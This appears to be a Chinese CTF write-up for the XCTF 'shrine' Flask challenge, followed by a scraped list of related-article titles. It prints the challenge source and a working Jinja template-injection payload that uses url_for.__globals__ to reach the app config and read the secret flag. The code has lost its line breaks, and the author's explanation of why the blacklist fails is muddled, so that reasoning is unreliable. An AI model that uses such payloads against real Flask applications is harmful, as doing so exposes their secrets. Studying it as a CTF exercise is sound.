题目

解题

1、访问目标,发现有一段代码


import flask
import osapp = flask.Flask(__name__)app.config['FLAG'] = os.environ.pop('FLAG')@app.route('/')
def index():return open(__file__).read()@app.route('/shrine/<path:shrine>')
def shrine(shrine):def safe_jinja(s):s = s.replace('(', '').replace(')', '')blacklist = ['config', 'self']return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + sreturn flask.render_template_string(safe_jinja(shrine))if __name__ == '__main__':app.run(debug=True)

2、根据源码该题可能是flask模板注入漏洞

该代码过滤了括号和config、self关键字
对该模板注入了解不多,直接上payload
payload

http://111.200.241.244:64667/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}


为什么没有过滤呢?看下面的对比就知道了,为了更好地对比,我将括号转空变为转中括号[]
代码1:

# -*- coding: UTF-8 -*-
s="/shrine/{{ url_for.__globals__['current_app'].config['FLAG']}}"
s = s.replace('(', '[').replace(')', ']')
blacklist = ['config', 'self']
print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s)


代码2:

# -*- coding: UTF-8 -*-
s="/shrine/{{ url_for.__globals__['current_app'].(config)['FLAG']}}"
s = s.replace('(', '[').replace(')', ']')
blacklist = ['config', 'self']
print(''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s)


由此可见只要出现单括号或双括号,是不会对config进行过滤的

XCTF-Web-高手区-shrine相关推荐

  1. XCTF Web 高手区007: NewsCenter

    题目: WP: 打开场景看到 search news的字样,只能输入进行操作 预测是一道SQL注入的题目 本题最直接的方法是sqlmap爆一下数据库 然而我对sqlmap的使用并不擅长 大家可以去看看 ...

  2. 20200109攻防世界WEB高手区题目一题多解全教程通关(13-18)

    欢迎大家一起来Hacking水友攻防实验室学习,渗透测试,代码审计,免杀逆向,实战分享,靶场靶机,求关注 目录 013unserialize3 014upload1 015Web_python_tem ...

  3. XCTF MISC 高手区 2017_Dating_in_Singapore

    2017_Dating_in_Singapore 题目给了一串数字和一个日历pdf,联想到这串数字对应日历上的日期,而且数字分为12段,正好对应12个月,所以在日历上将对应的日期连接起来可得flag ...

  4. XCTF MISC 高手区 Dift

    Dift 附件是一张png图片,用foremost分离得到png和一个加密的rar文件,用ARCHPR暴力破解失败. 没有其它可用的信息,压缩包应该是和png图片有关 用010editor打开分离后的 ...

  5. 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth)WriteUp

    文章目录 解题部分 总结: 解题部分 题目来源 攻防世界web高手进阶区ics-05(XCTF 4th-CyberEarth) 1.拿到题目以后,发现是一个index.php的页面,并且设备-没有显示 ...

  6. 攻防世界 web高手进阶区 10分题 weiphp

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的10分题 本文是weiphp的writeup 解题过程 进入界面 点击 进入一个登陆界面 没有注册 那肯定得找源码了 惯例源码+御剑 发现git泄 ...

  7. 攻防世界-web高手进阶区

    文章目录 攻防世界-web高手进阶区 1.baby_web 2.Training-WWW-Robots 3.Web_php_include (文件包含+伪协议) 1.方法 2.方法 4.ics-06( ...

  8. 攻防世界 web高手进阶区 9分题 favorite_number

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是favorite_number的writeup 解题过程 进入界面 简单的代码审计 首先是个判断,既要数组强等于,又要首元素不等 然 ...

  9. 攻防世界 web高手进阶区 8分题 Web_python_block_chain

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的8分题 本文是Web_python_block_chain的writeup 解题过程 这是个区块链题 这..裂开了啊 没搞过区块链 从零开始学习 ...

  10. 攻防世界 web高手进阶区 9分题 bilibili

    前言 继续ctf的旅程 开始攻防世界web高手进阶区的9分题 本文是bilibili的writeup 解题过程 进来界面 这尼玛出题人是黑还是粉啊 笑死 看题目意思是买lv6 惯例源码+御剑 没发现什 ...

最新文章

  1. 2015年最新出炉的JavaScript开发框架
  2. 讲一讲什么是 MMAP
  3. 关于更清楚地了解.net的垃圾回收机制
  4. expdp导出表结构_超强技术案例!86万张表迁移的优化历程
  5. php 批量修改文件,php如何批量修改文件名
  6. 序列密码体制(python随机数密码,RC4,线性反馈移位寄存器
  7. 2020牛客国庆集训派对day2 MATRIX MULTIPLICATION CALCULATOR
  8. AI赋能DevOps:数据驱动的全栈工程师实践
  9. 重要!VALSE 2021确认参会及第二次【预注册】事宜的通知
  10. YFI 创始人 Andre Cronje:有四个新产品待发布,但担心在推出后被分叉
  11. P5018 对称二叉树
  12. LitePal的使用——Android开源数据库
  13. DataGear 制作自适应任意屏幕尺寸的数据可视化看板
  14. 【缓存】缓存更新策略
  15. 独家丨Web3风向从NFTs吹向DAOs?一季度DAO发展回顾
  16. python 实现大鱼吃小鱼小游戏(课程作业)
  17. java通过身份证号码获取出生日期、性别、年龄
  18. 年中大促,华硕破晓PX574特惠专场,直降400!
  19. 2012 Tokyo Regional C. One-Dimensional Cellular Automaton 矩阵快速幂
  20. 关于支付宝的支付流程

热门文章

  1. 字符和编码之间的转换(Python)
  2. 第10课:动手实战基于 CNN 的电影推荐系统
  3. xgboost相比传统gbdt有何不同?xgboost为什么快?xgboost如何支持并行?
  4. JVM内存参数设置及常见错误总结
  5. cURL在Web渗透测试中的应用
  6. linux下安装glibc-2.14,解决“`GLIBC_2.14' not found”问题
  7. tomcat日志按天切分
  8. 安装ipython时python setup.py egg_info错误的解决办法
  9. android 布局滑动中scrollTo 和 scrollBy 方法使用说明
  10. 7 款顶级开源 BI(商务智能)软件和报表工具